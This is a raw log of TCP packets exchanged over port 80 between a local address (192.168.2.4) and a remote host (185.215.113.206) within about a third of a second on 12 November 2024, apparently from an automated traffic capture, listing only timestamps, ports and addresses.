Nov 12, 2024 21:21:35.658818960 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.659446001 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.659488916 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.659492970 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.659517050 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.659528017 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.659547091 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.659559965 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.659600973 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.659646034 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.659657955 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.659696102 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.812452078 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.812498093 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.812510014 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.812521935 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.812536955 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.812576056 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.812619925 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.812654018 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.812668085 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.812679052 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.812712908 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.812731028 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.812823057 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.812835932 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.812848091 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.812881947 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.812978983 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.812993050 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.813004971 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.813033104 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.813075066 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.813086987 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.813097000 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.813117027 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.813334942 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.813400984 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.813410044 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.813414097 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.813427925 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.813440084 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.813440084 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.813457012 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.813467026 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.813487053 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.813731909 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.813743114 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.813754082 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.813776016 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.813783884 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.813787937 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.813807011 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.813811064 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.813824892 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.813832045 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.813838959 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.813849926 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.813855886 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.813877106 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.813883066 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.814393997 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.814410925 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.814421892 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.814433098 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.814445972 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.814448118 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.814459085 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.814476967 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.814502001 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.814755917 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.814809084 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.814809084 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.814824104 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.814867020 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.814874887 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.814887047 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.814898968 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.814913034 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.814923048 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.814960003 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.814965010 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.814974070 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.814984083 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.814996004 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.815011024 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.815021038 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.815023899 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.815088987 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.815088987 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.815785885 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.815834045 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.815871000 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.815884113 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.815896034 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.815908909 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.815922976 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.815934896 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.815937996 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.815946102 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.815953970 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.815960884 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.815965891 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.815978050 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.815989017 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.815994024 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.816001892 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.816015005 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.816020966 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.816034079 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.816050053 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.816787004 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.816837072 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.816986084 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.817004919 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.817034006 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.817034960 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.817045927 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.817049980 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.817059040 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.817069054 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.817071915 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.817084074 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.817085028 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.817099094 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.817106009 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.817110062 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.817122936 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.817126989 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.817136049 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.817147970 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.817152977 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.817179918 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.817198038 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.817753077 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.817802906 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.817878962 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.817892075 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.817903042 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.817924976 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.817926884 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.817940950 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.817950964 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.817951918 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.817965031 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.817979097 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.817998886 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.818042994 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.818062067 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.818073988 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.818084955 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.818097115 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.818100929 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.818114996 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.818136930 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.818711042 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.818756104 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.818762064 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.818774939 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.818798065 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.818814993 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.818830013 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972023964 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972043991 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972057104 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972111940 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972162962 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972176075 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972183943 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972229004 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972229004 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972235918 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972250938 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972263098 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972284079 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972310066 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972378969 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972392082 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972404957 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972418070 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972429991 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972433090 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972444057 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972456932 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972467899 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972470999 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972481966 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972485065 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972497940 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972515106 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972537994 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972539902 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972551107 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972562075 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972573996 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972575903 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972588062 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972598076 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972606897 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972619057 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972625017 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972630978 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972646952 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972651005 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972665071 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972673893 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972676992 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972703934 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972708941 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972721100 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972726107 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972738981 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972742081 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972752094 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972764015 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972764015 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972778082 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972779036 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972800970 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972820997 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972825050 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972837925 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972847939 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972867012 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972879887 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972879887 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972881079 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972894907 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972901106 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972914934 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972929955 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972937107 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.972959042 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972985029 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.972985029 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.973005056 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.973016977 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.973028898 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.973051071 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.973068953 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.973072052 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.973083973 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.973094940 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.973107100 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.973109007 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.973124027 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.973128080 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.973141909 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.973141909 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.973171949 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.973191023 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.978589058 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.978622913 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.978634119 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.978651047 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.978665113 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.978749990 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.978763103 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.978774071 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.978785992 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.978796959 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.978806973 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.978810072 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.978817940 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.978822947 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.978842020 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.978851080 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.978868008 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.978882074 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.978893042 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.978904963 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.978905916 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.978919983 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.978929043 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.978950024 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.978956938 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.978970051 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.978974104 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.978981972 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.978997946 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.979007959 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.979011059 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979023933 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979036093 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979051113 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.979065895 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.979326010 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979337931 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979379892 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.979443073 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979463100 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979509115 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.979513884 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979526997 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979556084 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.979598045 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979643106 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.979722977 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979736090 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979748011 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979759932 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979772091 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979773998 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.979784966 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979796886 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979798079 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.979816914 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.979827881 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979839087 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979840040 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.979846954 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979856968 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979868889 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979881048 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979882002 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.979891062 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.979921103 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.979967117 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979979992 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.979995966 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.980007887 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.980020046 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.980026007 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.980034113 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.980035067 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.980050087 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.980066061 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.980091095 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.980123043 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.980135918 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.980159044 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.980170965 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.980180979 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.980180979 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.980195045 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.980200052 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.980207920 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.980220079 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.980220079 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.980240107 CET	80	49759	185.215.113.206	192.168.2.4
